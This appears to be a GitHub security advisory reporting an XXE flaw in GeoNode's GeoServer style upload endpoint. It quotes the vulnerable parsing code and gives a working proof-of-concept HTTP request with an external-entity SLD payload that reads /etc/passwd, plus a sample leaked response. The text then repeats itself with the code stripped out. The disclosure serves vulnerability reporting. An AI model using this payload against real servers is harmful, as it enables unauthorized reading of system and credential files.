Summary
GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.
Details
GeoNode's GeoServer has the ability to upload new styles for datasets through the dataset_style_upload view.
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
def respond(*args, **kw):
kw['content_type'] = 'text/html'
return json_response(*args, **kw)
...
sld = request.FILES['sld'].read() # 1
sld_name = None
try:
# Check SLD is valid
...
sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
except Exception as e:
respond(errors=f"The uploaded SLD file is not valid XML: {e}")
name = data.get('name') or sld_name
set_dataset_style(layer, data.get('title') or name, sld)
return respond(
body={
'success': True,
'style': data.get('title') or name, # 3
'updated': data['update']})dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
try:
if sld:
if isfile(sld):
with open(sld, "rb") as sld_file:
sld = sld_file.read() # 1
if isinstance(sld, str):
sld = sld.encode('utf-8')
dom = etree.XML(sld) # 2
...
named_dataset = dom.findall(
"{http://www.opengis.net/sld}NamedLayer")
el = None
if named_dataset and len(named_dataset) > 0:
user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
if user_style and len(user_style) > 0:
el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
...
return el[0].text # 4extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolve_entities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.
PoC
- Create a guest/non-privileged account and log in.
- Upload a dataset through
/catalogue/#/upload/dataset whose name we will be referencing as <DATASET_NAME>.
- Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of
/etc/passwd:
POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
<NamedLayer>
<UserStyle>
<Name>&ent;</Name>
</UserStyle>
</NamedLayer>
</foo>
------WebKitFormBoundaryfoo--
Sample response:
HTTP/1.1 200 OK
Server: nginx/1.23.2
...
{"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}
Impact
This issue may lead to authenticated Arbitrary File Read.
jorgectf Reporter
Summary
GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.
Details
GeoNode's GeoServer has the ability to upload new styles for datasets through the
dataset_style_uploadview.dataset_style_uploadgets a user-provided file (1), pass it toextract_name_from_sldto extract an element from it (2) and return the former in the response (3).extract_name_from_sldusessld(which is a path to the provided file), reads it (1) and parses it withetree.XMLin2. Since the former uses a default XMLParser, the parsing gets done with theresolve_entitiesflag set toTrue. Therefore,domhandles the parsed XML containing the resolved entity (2), getsNamedLayer.UserStyle.Namein3and returns the resolved content in4.PoC
/catalogue/#/upload/datasetwhose name we will be referencing as<DATASET_NAME>./etc/passwd:Sample response:
Impact
This issue may lead to authenticated
Arbitrary File Read.